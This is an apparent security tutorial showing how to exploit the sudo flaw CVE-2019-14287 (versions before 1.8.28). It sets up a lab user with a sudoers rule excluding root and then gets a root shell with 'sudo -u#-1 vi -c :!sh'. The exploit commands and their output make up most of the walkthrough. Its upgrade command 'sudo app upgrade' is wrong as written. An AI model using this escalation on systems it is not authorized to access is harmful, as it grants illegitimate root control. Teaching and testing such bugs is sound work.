How To: Abuse Vulnerable Sudo Versions to Get Root

Abuse Vulnerable Sudo Versions to Get Root

Anyone who has used Linux long enough is familiar with sudo. Short for superuser do (or substitute user do, depending on who you ask), it allows users to run commands as either root or another user on the system. From a hacker's point of view, sudo is often all that stands between them and root access. We'll be exploring an older vulnerability in sudo that allows a user to run commands as root.

Am I Vulnerable?

Sudo is a command-line utility used on nearly every Linux system that allows admins to give specific users or groups the ability to run commands as root, or in some cases, other users.

A vulnerability (CVE-2019-14287) published in October 2019 allowed users to execute commands as root on systems that explicitly deny root access but allow the user to run commands as another user. The issue arose from the way sudo treats certain user ID numbers, incorrectly interpreting them as the ID of root.

Sudo versions before 1.8.28 are affected (it was patched fairly quickly after its discovery), so older versions should be upgraded as soon as possible. To check if your version is vulnerable, simply run sudo with the -V switch to display the current version:

~# sudo -V

Sudo version 1.8.27

While the specific configuration of sudo seen above isn't the most common, it is certainly not unheard of, so it's important to know how the bug works and to upgrade if your sudo version is vulnerable. To update it, just use the following command (it may take a while).

~# sudo app upgrade

We will be testing this vulnerability out on Kali Linux with sudo version 1.8.27.

Step 1: Create Test User

To get started, let's create a demo user we can test this out on. Use the useradd command followed by the name of our new user:

~# useradd testuser

Next, we need to add a password for our newly created user. Use the passwd command, which will prompt for a new password:

~# passwd testuser

New password:
Retype new password:
passwd: password updated successfully

Now, if we look at the /etc/passwd file, which lists all users on the system and their relevant information, we can see our new user at the bottom:

~# cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

...

statd:x:138:65534::/var/lib/nfs:/usr/sbin/nologin
tcpdump:x:139:146::/nonexistent:/usr/sbin/nologin
testuser:x:1000:1000::/home/testuser:/bin/sh

Step 2: Configure Sudo

The next thing we need to do is configure sudo privileges for our new user; we can do that with the visudo command:

#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults    env_reset
Defaults    mail_badpass
Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

That will allow us to properly edit the /etc/sudoers file. This is basically a vi session, so we must press I to enter insert mode. Then, add a new line for our user under the "User privilege specification" heading:

# User privilege specification
root    ALL=(ALL:ALL) ALL
testuser    ALL=(ALL, !root) /usr/bin/vi

Basically, the line is saying our new user can run the vi command as any other user except root.

Now press Escape to exit insert mode and go back to command mode, and enter :WQ to write to the file and quit. The sudoers file should now look like this:

~# cat /etc/sudoers

#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults    env_reset
Defaults    mail_badpass
Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL
testuser    ALL=(ALL, !root) /usr/bin/vi
# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

We should be good to go at this point.

Step 3: Exploit & Get Shell

Let's switch to our new user; use the su command to do so:

~# su - testuser

su: warning: cannot change directory to /home/testuser: No such file or directory
$

If we run the whoami command, it will clearly show that we are the new user:

$ whoami

testuser

Sudo allows us to run commands as another user with the -u switch. Specify the user and the command to run, for example, chmod:

$ sudo -u testuser chmod --version

Sorry, user testuser is not allowed to execute '/bin/chmod --version' as testuser on drd.

We can see that it doesn't let us run that command, because it wasn't specified in the sudoers file. But if we run the vi command, which was specified, it works:

$ sudo -u testuser vi --version

VIM - Vi IMproved 8.1 (2018 May 18, compiled Jun 15 2019 16:41:15)
Included patches: 1-875, 878, 884, 948, 1046, 1365-1368, 1382, 1401
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org

...

Instead of running a command as another user by name, we can also do it using the numerical ID. If you recall from earlier, the ID is part of the line added in the passwd file:

testuser:x:1000:1000::/home/testuser:/bin/sh

We can also use the id command to see this:

$ id

uid=1000(testuser) gid=1000(testuser) groups=1000(testuser)

Using the numerical ID, let's try to run the chmod command like we did earlier:

$ sudo -u#1000 chmod --version

Sorry, user testuser is not allowed to execute '/bin/chmod --version' as testuser on drd.

And it still doesn't work. But when we run the command we are allowed to, it works just the same:

$ sudo -u#1000 vi --version

VIM - Vi IMproved 8.1 (2018 May 18, compiled Jun 15 2019 16:41:15)
Included patches: 1-875, 878, 884, 948, 1046, 1365-1368, 1382, 1401
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org

...

What if we tried to run this command as root? We can use the ID of 0 to denote the root user:

$ sudo -u#0 vi --version

Sorry, user testuser is not allowed to execute '/usr/bin/vi --version' as root on drd.

Even though we are allowed to run the command, it doesn't work because we are only allowed to run it under any other user besides root.

The vulnerability arises in the way sudo treats the ID of -1, or its unsigned equivalent of 4294967295, effectively treating these IDs as 0, which is the ID for root.

We can successfully run the vi command with ID -1:

$ sudo -u#-1 vi --version

VIM - Vi IMproved 8.1 (2018 May 18, compiled Jun 15 2019 16:41:15)
Included patches: 1-875, 878, 884, 948, 1046, 1365-1368, 1382, 1401
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org

...

And likewise, with ID 4294967295:

$ sudo -u#4294967295 vi --version

VIM - Vi IMproved 8.1 (2018 May 18, compiled Jun 15 2019 16:41:15)
Included patches: 1-875, 878, 884, 948, 1046, 1365-1368, 1382, 1401
Modified by team+vim@tracker.debian.org
Compiled by team+vim@tracker.debian.org

...

It's well known that commands can be run within a vi session using the :! operator, followed by the command. But we can also run commands through vi without even entering the session with the -c switch. For example, to run whoami:

$ vi -c :!whoami

testuser

Press ENTER or type command to continue

This is where it gets interesting. If we run that same command with the ID of -1, it incorrectly translates to the ID of root:

$ sudo -u#-1 vi -c :!whoami

root

Press ENTER or type command to continue

Since we can run any command like this, it's trivial to spawn a shell:

$ sudo -u#-1 vi -c :!sh

#

And we are now root:

# whoami

root

Wrapping Up

In this tutorial, we learned about a vulnerability (CVE-2019-14287) in the sudo utility on Linux systems from last year. First, we checked if we were vulnerable and created a test user with the appropriate sudo configuration to test the bug. Next, we ran through some examples and learned how to run commands as different users. Finally, we exploited the flaw in sudo to effectively run commands as root, ultimately leading to a full-blown root shell.

Just updated your iPhone to iOS 18? You'll find a ton of hot new features for some of your most-used Apple apps. Dive in and see for yourself:

Cover image and screenshots by drd_/Null Byte

Be the First to Comment

Share Your Thoughts

  • Hot
  • Latest